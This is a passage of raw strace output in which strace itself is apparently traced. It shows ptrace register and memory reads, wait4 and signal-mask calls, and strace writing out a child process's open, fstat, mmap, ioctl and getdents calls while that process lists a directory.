	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7579380, [0x612d656c61636f6c]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7579388, [0x657669686372]) = 0
	write(2, "open(\"/usr/lib/locale/locale-arc"..., 47) = 47
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
	write(2, ") = 3\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7ffff77a9040]) = 0
	write(2, "fstat(3, ", 9) = 9
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9040, [0x801]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9048, [0xc0092]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9050, [0x1]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9058, [0x81a4]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9060, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9068, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9070, [0x2a3d70]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9078, [0x1000]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9080, [0x14c8]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9088, [0x4d81aa69]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9090, [0x35751bb3]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a9098, [0x4d8055ff]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a90a0, [0x315e466c]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a90a8, [0x4d8055ff]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a90b0, [0x315e466c]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a90b8, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a90c0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff77a90c8, [0]) = 0
	write(2, "{st_mode=S_IFREG|0644, st_size=2"..., 50) = 50
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2a3d70]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(NULL, 2768240, PROT_READ, M"..., 48) = 48
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff6b61000]) = 0
	write(2, ") = 0x7ffff6b61000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	write(2, "close(3", 7) = 7
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") "..., 37) = 37
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x10]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x1]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x5401]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x7fffffffe0e0]) = 0
	write(2, "ioctl(1, SNDCTL_TMR_TIMEBASE or "..., 71) = 71
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x10]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0e0, [0x500006d02]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0e8, [0x8a3b000004bf]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0f0, [0x10004157f1c0300]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe0f8, [0x170f12ff1a1311ff]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe100, [0xff16]) = 0
	write(2, ", {B38400 opost isig icanon echo"..., 43) = 43
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x10]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x1]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x5413]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x7fffffffe250]) = 0
	write(2, "ioctl(1, TIOCGWINSZ", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x10]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe250, [0x84002b]) = 0
	write(2, ", {ws_row=43, ws_col=132, ws_xpi"..., 57) = 57
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x620c00]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x90800]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620c00, [0x2e]) = 0
	write(2, "open(\".\", O_RDONLY|O_NONBLOCK|O_"..., 51) = 51
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
	write(2, ") = 3\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x48]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
	write(2, "fcntl(3, F_GETFD", 16) = 16
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x48]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x1]) = 0
	write(2, ") = 0x1 (f"..., 49) = 49
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x4e]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x620c48]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x8000]) = 0
	write(2, "getdents(3, ", 12) = 12
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x4e]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xd8]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620c48, [0x60146]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620c50, [0x20a57914]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620c58, [0x4000000002e0018]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620c60, [0x61fac]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620c68, [0x26b66844]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620c70, [0x6172742e736c0020]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620c78, [0x800000000006563]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620c80, [0x621e0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620c88, [0x46880944]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620c90, [0x2e65636172740020]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620c98, [0x800000000000063]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620ca0, [0x60174]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620ca8, [0x605f45a8]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620cb0, [0x7274732e736c0020]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620cb8, [0x800000000656361]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620cc0, [0x60c1e]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620cc8, [0x69abfb7b]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620cd0, [0x6563617274730028]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620cd8, [0x6563617274732e]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620ce0, [0x800000000000000]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620ce8, [0x602b5]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620cf0, [0x7729d482]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620cf8, [0x65636172740020]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620d00, [0x800000000000000]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620d08, [0x65445]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620d10, [0x7fffffff]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x620d18, [0x40000002e2e0018]) = 0
	write(2, "/* 7 entries */, 32768) = 21"..., 34) = 34
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x4e]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x620c48]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x8000]) = 0
	write(2, "getdents(3, ", 12) = 12
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x4e]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, "/* 0 entries */, 32768) = 0\n", 32) = 32
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	write(2, "close(3", 7) = 7
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") "..., 37) = 37
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x1]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffb830]) = 0
	write(2, "fstat(1, ", 9) = 9
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb830, [0xb]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb838, [0xc]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb840, [0x1]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb848, [0x3e800002190]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb850, [0x5]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb858, [0x8809]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb860, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb868, [0x400]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb870, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb878, [0x4d823c95]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb880, [0x8c10339]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb888, [0x4d823c95]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb890, [0x15ddf22e]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb898, [0x4d823a29]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb8a0, [0x3148fd36]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb8a8, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb8b0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffb8b8, [0]) = 0
	write(2, "{st_mode=S_IFCHR|0620, st_rdev=m"..., 58) = 58
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x22]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(NULL, 4096, PROT_READ|PROT_"..., 71) = 71
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7ff8000]) = 0
	write(2, ") = 0x7ffff7ff8000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
